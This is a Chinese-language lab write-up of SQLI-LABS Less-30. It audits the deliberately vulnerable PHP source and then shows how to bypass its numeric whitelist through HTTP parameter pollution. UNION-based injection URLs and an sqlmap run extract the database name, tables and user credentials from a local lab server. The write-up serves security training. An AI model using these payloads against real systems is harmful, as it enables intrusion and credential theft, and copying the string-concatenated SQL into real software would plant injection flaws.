目录
一、源码分析
1、index.php代码审计
2、login.php代码审计
3、java_implimentation函数
4、whitelist函数
5、SQL安全性分析
二、渗透实战
1、进入靶场
2、WAF探测
(1)触发WAF
(2)绕过WAF
3、手工注入
(1)获取列数
(2)获取回显位
(3)获取数据库名
(4)获取表名
(5)获取列名
(6)获取数据
4、渗透实战
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第30关Less 30可以绕过WAF的GET字符型SQL注入关卡进行渗透实战,与29关相比主要的区别是闭合方式由单引号变为双引号。
一、源码分析
本关卡Less30是基于GET字符型的SQL注入关卡,如下所示。
1、index.php代码审计
Less30关卡index.php功能是简单基于id的查询页面,相对于29关主要区别是闭合方式变为双引号,且不再打印数据库报错信息,具体区别如下所示。
index.php详细注释后的代码如下所示。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-30</title>
</head><body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome <font color="#FF0000">Dhakkan</font><br><font size="3" color="#FFFF00"><?php
// 引入数据库连接参数(包含敏感信息)
include("../sql-connections/sql-connect.php");// 禁用PHP错误报告(可能隐藏安全警告)
error_reporting(0);// 处理用户输入的id参数
if(isset($_GET['id']))
{// 获取用户输入的id参数$id = $_GET['id'];// 记录用户输入到日志文件(未过滤可能的恶意内容)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 获取完整的查询字符串用于提示信息$qs = $_SERVER['QUERY_STRING'];$hint = $qs;// 在用户输入的id前后添加双引号(形成 "id" 的格式)// 这是本关卡的核心特点:使用双引号包围用户输入$id = '"' . $id . '"';// 构造SQL查询语句(直接拼接用户输入,存在SQL注入风险)// 注意:这里id变量已经被双引号包围,形成 "id" 的格式$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";// 执行SQL查询(使用不安全的mysql_*函数,已废弃)$result = mysql_query($sql);// 获取查询结果$row = mysql_fetch_array($result);// 根据查询结果输出信息if($row){// 成功查询时显示用户信息echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:' . $row['username'];echo "<br>";echo 'Your Password:' . $row['password'];echo "</font>";}else {// 失败时显示错误信息(已注释掉数据库错误输出,减少信息泄露)echo '<font color= "#FFFF00">';//print_r(mysql_error()); // 注释掉错误输出,降低安全风险echo "</font>"; }
}
else { // 提示用户输入ID参数echo "Please input the ID as parameter with numeric value";
}
?>
</font> </div></br></br></br><center><img src="../images/Less-30.jpg" /></br></br></br><img src="../images/Less-30-1.jpg" /></br></br><font size='4' color= "#33FFFF"><?php// 显示用户输入的查询字符串提示echo "Hint: The Query String you input is: " . $hint;?></font>
</center>
</body>
</html>
本关卡 PHP 代码实现了一个简单的用户信息查询页面,但由于未对GET方法传入参数id进行过滤,存在严重的SQL安全隐患,本关卡核心功能如下:
- 参数接收:通过 GET 方法获取用户传入的
id
参数,使用双引号包裹,未经过滤直接拼接到SQL语句中。 - 日志记录:将用户输入的
id
记录到result.txt
文件,用于分析。 - 数据库查询:使用mysql_query函数执行 SQL 查询,尝试从users表获取对应id的用户记录。
- 结果展示:如果查询成功,显示用户名和密码;如果失败,不显示数据库报错信息。
- 提示信息:页面下方显示完整的查询字符串,可能用于帮助用户调试或开发者分析。
2、login.php代码审计
Less30关卡login.php功能是简单基于id的查询页面,相对于29关主要区别是闭合方式变为双引号,但是相对于index.php,本login.php打印数据库报错信息,具体区别如下所示。
login.php功详细注释后的代码如下所示。
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-30 Protection with WAF</title>
</head>
<body bgcolor="#000000">
<!-- 页面标题和样式 -->
<div style="margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome <font color="#FF0000">Dhakkan</font><br><font size="3" color="#FFFF00"><?php
// 包含数据库连接文件
include("../sql-connections/sql-connect.php");
// 禁用错误报告
error_reporting(0);// 处理GET参数
if(isset($_GET['id']))
{// 获取原始查询字符串$qs = $_SERVER['QUERY_STRING'];$hint=$qs; // 保存用于显示的提示信息// 处理HTTP参数污染(HPP)$id1=java_implimentation($qs);$id=$_GET['id'];// 白名单验证whitelist($id1);// 使用双引号包裹ID值 - 关键风险点$id = '"' .$id. '"';// 记录日志$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// 构建并执行SQL查询$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row) {// 显示查询结果echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";} else {// 显示错误信息echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; }
} else { echo "Please input the ID as parameter with numeric value";
}// 白名单过滤函数 - 只允许数字输入
function whitelist($input)
{$match = preg_match("/^\d+$/", $input);if(!$match) { header('Location: hacked.php');exit;}
}// 模拟HPP(HTTP参数污染)处理
function java_implimentation($query_string)
{$q_s = $query_string;$qs_array= explode("&",$q_s);foreach($qs_array as $key => $value) {$val=substr($value,0,2);if($val=="id") {$id_value=substr($value,3,30); return $id_value;break;}}
}
?>
</font> </div>
<!-- 页面底部图片和提示 -->
<center>
<img src="../images/Less-30.jpg" /><br>
<img src="../images/Less-30-1.jpg" /><br>
<font size='4' color= "#33FFFF">
<?php echo "Hint: The Query String you input is: ".$hint; ?>
<br><br>
<!-- 安全相关文档链接 -->
<a href="https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf">AppsecEU09_CarettoniDiPaola_v0.8.pdf</a><br>
<a href="https://community.qualys.com/servlet/JiveServlet/download/38-10665/Protocol-Level Evasion of Web Application Firewalls v1.1 (18 July 2012).pdf">WAF绕过技术文档</a>
</font>
</center>
</body>
</html>
login.php功代码是一个带有 WAF 防护的 Web 应用。核心功能包括如下内容。
- 用户输入处理:通过
$_GET['id']
获取参数,使用双引号包裹id,。 - 对第一个id参数进行过滤处理:
whitelist
函数对参数id使用正则表达式验证输入是否为纯数字,阻止非数字攻击载荷。java_implimentation
模拟 Java 应用对 HTTP 参数污染的处理逻辑,仅提取第一个id
参数值进行验证。
- 数据库操作:将用户输入id拼接至 SQL 语句,
- 如果仅有一个参数id,通过函数过滤后使用SQL语句查询数据库用户信息
- 如果存在第二个参数id的话则是没有任何过滤直接拼接到SQL语句中。
- 日志记录:将用户输入的
id
参数记录到result.txt
,用于分析。 - 结果反馈:成功查询时显示用户名和密码,失败时暴露数据库错误信息(如
mysql_error()
)
3、java_implimentation函数
java_implimentation函数的核心目的是模拟 Java 应用处理 HTTP 参数污染 (HPP) 的行为差异。PHP 默认会将重复参数名的值合并为数组,而 Java Servlet 容器通常只处理第一个出现的参数。该函数通过以下步骤提取处理后的参数。
function java_implimentation($query_string)
{$q_s = $query_string;$qs_array = explode("&", $q_s); // 按&分割参数字符串foreach($qs_array as $key => $value){$val = substr($value, 0, 2); // 检查参数名前两位if($val == "id"){$id_value = substr($value, 3, 30); // 提取等号后的值return $id_value; // 仅返回第一个匹配的id参数值break;}}
}
java_implimentation函数的设计初衷是模拟 Java 应用处理 HTTP 参数污染(HPP)的行为差异,其核心逻辑是从原始查询字符串中提取第一个出现的id参数值,并忽略后续同名参数。函数通过将查询字符串按&分割为参数数组,遍历查找首个以id=开头的参数,提取其值(跳过id=部分)并返回。然而,这一实现存在严重安全风险:它仅验证第一个id参数是否为纯数字(通过白名单),但 SQL 查询却使用原始的、未过滤的id参数,导致攻击者可通过提交多个id参数(如id=1&id=1' OR 1=1 --)绕过验证机制,实现 SQL 注入攻击。这种验证与使用分离的设计缺陷,使得函数非但未能增强安全性,反而成为SQL注入攻击的触发点。
4、whitelist函数
whitelist()
函数使用正则表达式验证输入是否为纯数字,具体处理如下所示。
function whitelist($input) {$match = preg_match("/^\d+$/", $input);if ($match) {// 验证通过,不做处理} else { header('Location: hacked.php');}
}
- 功能:实现白名单机制,仅允许纯数字输入,意图阻止非数字类型的 SQL 注入攻击。
- 参数:
$input
为待验证的用户输入(来自java_implimentation
函数提取的第一个id
参数值) - 正则表达式:核心函数$match = preg_match("/^\d+$/", $input),要求输入完全由数字组成,不允许包含任何非数字字符(如字母、符号、空格等)
^
:匹配输入字符串的开始位置。\d+
:匹配一个或多个数字(等价于[0-9]+
)。$
:匹配输入字符串的结束位置。
-
条件判断与响应:
- 验证通过(
$match
为1
):
不执行任何操作,允许程序继续执行数据库查询。 - 验证失败(
$match
为0
):
通过header('Location: hacked.php')
重定向到hacked.php
页面,模拟 “攻击检测成功” 的响应。
- 验证通过(
-
安全风险原因:
- 函数仅验证第一个
id
参数(由java_implimentation
函数提取),但未处理其他id参数。 - SQL 查询使用的是原始
$_GET['id']
参数(包含所有提交的id
参数),而非验证通过的$id1
。
- 函数仅验证第一个
-
绕过原理:通过提交多个
id
参数,使第一个参数为纯数字(通过验证),第二个参数包含恶意载荷:-
验证阶段:java_implimentation提取第一个参数id=1,whitelist验证通过(因为第一关参数1为纯数字)。// 示例 payload id=1&id=1" OR 1=1 --+
- 查询阶段:$_GET['id']为第二个id参数1" OR 1=1 --+,被直接拼入 SQL 语句,触发SQL注入。
-
5、SQL安全性分析
尽管代码尝试通过白名单过滤数字输入,但存在以下致命缺陷:
- java_implimentation绕过防护:java_implimentation()仅验证第一个id参数,攻击者可通过提交多个id参数(如id=1&id=1" OR 1=1 --),使第一个参数通过验证,第二个参数传入到SQL语句触发 SQL 注入风险。
- 未处理 SQL 拼接:第二个参数变量
$id
直接拼入 SQL 语句,未使用预处理语句或转义函数,直接执行SELECT * FROM users WHERE id="$id" LIMIT 0,1导致恶意 payload 可破坏 SQL 语法结构。 - 错误信息泄露:mysql_error()直接输出数据库错误,可能泄露表名、字段名等敏感信息,辅助攻击者构造攻击载荷。
二、渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page2,如下图红框所示。
其中第30关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
点击上图红框的Less30关卡,进入到靶场的第30关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: The Query String you input is: ”,具体如下所示。
http://192.168.59.1/sqli-labs/Less-30
访问30关卡的login.php,URL与访问页面如下所示。
http://127.0.0.1/sqli-labs/Less-30/login.php
访问30关卡的hacked.php,URL如下所示。
http://192.168.59.1/sqli-labs/Less-30/hacked.php
根据源码分析我们得知,仅当访问login.php且第一id非数字时会进入如下页面。
2、WAF探测
(1)触发WAF
访问login.php,第一个参数设置为纯数字1单引号,因为第一关id不是纯数字触发了防火墙的防护,被重定向到hacked.php,效果如下所示。
http://127.0.0.1/sqli-labs/Less-30/login.php?id=1'
(2)绕过WAF
访问login.php,第一个参数设置为纯数字1,第二个参数id设置为1" or 1=1--+,效果如下所示绕过了防火墙的防护,当前页面显示查询成功,显示id=1的用户名和密码,没有重定向到hacked.php。
http://127.0.0.1/sqli-labs/Less-30/login.php?id=1&id=1" or 1=1--+
3、手工注入
(1)获取列数
如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=1" ORDER BY 3--+
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=1" ORDER BY 4--+
(2)获取回显位
如下所示,回显位为2和3,接下来我们使用第2个回显位进行渗透。
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,2,3--+
(3)获取数据库名
如下所示,数据库的名称为“security”。
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,DATABASE(),3--+
(4)获取表名
如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+
(5)获取列名
如下所示,数据库users表的列名分别为id,username,password。
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--+
(6)获取数据
最后通过上一步获取到的列名来提取users表的内容,如下所示渗透成功。
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--+
4、渗透实战
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),其中-u参数指定目标URL地址,完整的SQL注入命令如下所示。
sqlmap -u "http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=1*" --current-db --batch --dump
特别注意,本次渗透并没有选择index.php?id=1的网址,否则本关卡与第1关没有任何区别了,本关卡选择login.php后面跟着两个参数id,其中第一个参数id=1用于绕过Waf,第二个参数id=1*则是指定注入点。执行注入命令后,sqlmap渗透成功,可以通过联合注入法、报错法、时间盲注方法渗透成功,具体信息如下所示。
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: #1* (URI)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)Payload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=1" AND 2583=2583#Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=1" AND GTID_SUBSET(CONCAT(0x716b6a6271,(SELECT (ELT(5237=5237,1))),0x71767a7071),5237)-- NpJWType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=1" AND (SELECT 7156 FROM (SELECT(SLEEP(5)))RDwn)-- TQecType: UNION queryTitle: MySQL UNION query (NULL) - 3 columnsPayload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=-3633" UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a6271,0x6273634f6461476c54424b734b504173504c415a6365414a656a70654a567a55685774724472646f,0x71767a7071)#
---
[01:45:11] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[01:45:11] [INFO] fetching current database
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password | username |
+----+---------------+----------------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | mooyuan123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
| 15 | 123456 | admin'#mooyuan |